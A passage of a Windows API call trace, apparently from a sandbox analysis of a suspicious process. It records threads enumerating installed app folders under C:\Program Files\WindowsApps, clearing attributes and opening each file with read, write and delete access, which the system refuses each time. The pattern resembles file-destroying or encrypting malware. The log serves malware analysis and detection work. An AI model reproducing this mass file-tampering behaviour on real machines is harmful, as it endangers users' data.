	[0090.958] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.958] wcscat (in: _Dest=0x2d883a8, _Source="AlarmsAppList.contrast-black_targetsize-64_altform-unplated.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-64_altform-unplated.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-64_altform-unplated.png"
	[0090.958] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-64_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-64_altform-unplated.png")) returned 0x20
	[0090.958] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-64_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.958] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-64_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-64_altform-unplated.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.958] GetLastError () returned 0x5
	[0090.958] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-64_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.958] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.958] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47bef9f5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x47bef9f5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x47bef9f5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x35f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsAppList.contrast-black_targetsize-72.png", cAlternateFileName="")) returned 1
	[0090.958] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-72.png", _String2=".") returned 1
	[0090.958] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-72.png", _String2="..") returned 1
	[0090.958] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x118) returned 0x4771740
	[0090.958] wcscpy (in: _Dest=0x4771740, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.958] wcscat (in: _Dest=0x4771740, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.959] wcscat (in: _Dest=0x4771740, _Source="AlarmsAppList.contrast-black_targetsize-72.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-72.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-72.png"
	[0090.959] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-72.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-72.png")) 

Thread:
	id = 867
	os_tid = 0xde8

	[0082.079] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0082.081] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.083] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.084] GetLastError () returned 0x5
	[0082.084] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.086] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477cbf0) returned 1

Thread:
	id = 868
	os_tid = 0xb3c

	[0082.086] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47189d0
	[0082.086] wcscpy (in: _Dest=0x47189d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0082.086] wcscat (in: _Dest=0x47189d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.086] wcscat (in: _Dest=0x47189d0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*"
	[0082.086] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710a60
	[0082.086] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2cdd5a7d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaa935760, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2cdd5a7d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6d10
	[0082.088] wcscmp (_String1=".", _String2=".") returned 0
	[0082.088] FindNextFileW (in: hFindFile=0x46a6d10, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2cdd5a7d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaa935760, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2cdd5a7d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.088] wcscmp (_String1="..", _String2=".") returned 1
	[0082.088] wcscmp (_String1="..", _String2="..") returned 0
	[0082.088] FindNextFileW (in: hFindFile=0x46a6d10, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cdd5a7d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2cdd5a7d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2cdd5a7d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x7511, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 1
	[0082.088] wcscmp (_String1="AppxBundleManifest.xml", _String2=".") returned 1
	[0082.088] wcscmp (_String1="AppxBundleManifest.xml", _String2="..") returned 1
	[0082.088] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4766210
	[0082.088] wcscpy (in: _Dest=0x4766210, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0082.088] wcscat (in: _Dest=0x4766210, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.088] wcscat (in: _Dest=0x4766210, _Source="AppxBundleManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml"
	[0090.890] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml")) returned 0x20
	[0090.891] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.891] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.891] GetLastError () returned 0x5
	[0090.891] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.891] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4766210) returned 1
	[0090.891] FindNextFileW (in: hFindFile=0x46a6d10, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cdd5a7d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2cdd5a7d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2cdd5a7d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x7511, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 0
	[0090.891] FindClose (in: hFindFile=0x46a6d10 | out: hFindFile=0x46a6d10) returned 1
	[0090.892] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4710a60) returned 1
	[0090.892] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47189d0) returned 1
	[0090.892] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47e99e0) returned 1

Thread:
	id = 869
	os_tid = 0xc30

	[0082.088] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0082.090] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.090] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.090] GetLastError () returned 0x5
	[0082.090] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.090] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477ccc8) returned 1

Thread:
	id = 870
	os_tid = 0x6ec

	[0082.089] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4766e10
	[0082.089] wcscpy (in: _Dest=0x4766e10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0082.089] wcscat (in: _Dest=0x4766e10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0082.089] wcscat (in: _Dest=0x4766e10, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0082.090] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710cc8
	[0082.090] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x4710cc8 | out: lpFindFileData=0x4710cc8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb7a270e5, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb7a270e5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb7a270e5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6d50
	[0082.091] wcscmp (_String1=".", _String2=".") returned 0
	[0082.091] FindNextFileW (in: hFindFile=0x46a6d50, lpFindFileData=0x4710cc8 | out: lpFindFileData=0x4710cc8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb7a270e5, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb7a270e5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb7a270e5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.091] wcscmp (_String1="..", _String2=".") returned 1
	[0082.091] wcscmp (_String1="..", _String2="..") returned 0
	[0082.091] FindNextFileW (in: hFindFile=0x46a6d50, lpFindFileData=0x4710cc8 | out: lpFindFileData=0x4710cc8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb7a270e5, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb7a270e5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb7a270e5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0082.091] FindClose (in: hFindFile=0x46a6d50 | out: hFindFile=0x46a6d50) returned 1
	[0082.092] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4710cc8) returned 1
	[0082.092] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4766e10) returned 1
	[0082.092] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47519a8) returned 1

Thread:
	id = 871
	os_tid = 0xbfc

	[0082.092] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0082.095] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.096] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.097] GetLastError () returned 0x5
	[0082.097] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.098] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477cb18) returned 1

Thread:
	id = 872
	os_tid = 0xb30

	[0082.099] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x46a5b18
	[0082.099] wcscpy (in: _Dest=0x46a5b18, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0082.099] wcscat (in: _Dest=0x46a5b18, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.099] wcscat (in: _Dest=0x46a5b18, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*"
	[0082.099] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710cc8
	[0082.099] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x4710cc8 | out: lpFindFileData=0x4710cc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68a98ed8, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaaebe349, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x68a98ed8, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6d50
	[0082.100] wcscmp (_String1=".", _String2=".") returned 0
	[0082.100] FindNextFileW (in: hFindFile=0x46a6d50, lpFindFileData=0x4710cc8 | out: lpFindFileData=0x4710cc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68a98ed8, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaaebe349, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x68a98ed8, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.100] wcscmp (_String1="..", _String2=".") returned 1
	[0082.100] wcscmp (_String1="..", _String2="..") returned 0
	[0082.100] FindNextFileW (in: hFindFile=0x46a6d50, lpFindFileData=0x4710cc8 | out: lpFindFileData=0x4710cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68a98ed8, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68a98ed8, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68a98ed8, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x4306, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 1
	[0082.100] wcscmp (_String1="AppxBundleManifest.xml", _String2=".") returned 1
	[0082.100] wcscmp (_String1="AppxBundleManifest.xml", _String2="..") returned 1
	[0082.101] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4766310
	[0082.101] wcscpy (in: _Dest=0x4766310, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0082.101] wcscat (in: _Dest=0x4766310, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.101] wcscat (in: _Dest=0x4766310, _Source="AppxBundleManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml"
	[0090.887] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml")) returned 0x20
	[0090.888] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.888] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.888] GetLastError () returned 0x5
	[0090.888] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.888] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4766310) returned 1
	[0090.888] FindNextFileW (in: hFindFile=0x46a6d50, lpFindFileData=0x4710cc8 | out: lpFindFileData=0x4710cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68a98ed8, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68a98ed8, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68a98ed8, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x4306, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 0
	[0090.888] FindClose (in: hFindFile=0x46a6d50 | out: hFindFile=0x46a6d50) returned 1
	[0090.889] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4710cc8) returned 1
	[0090.889] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46a5b18) returned 1
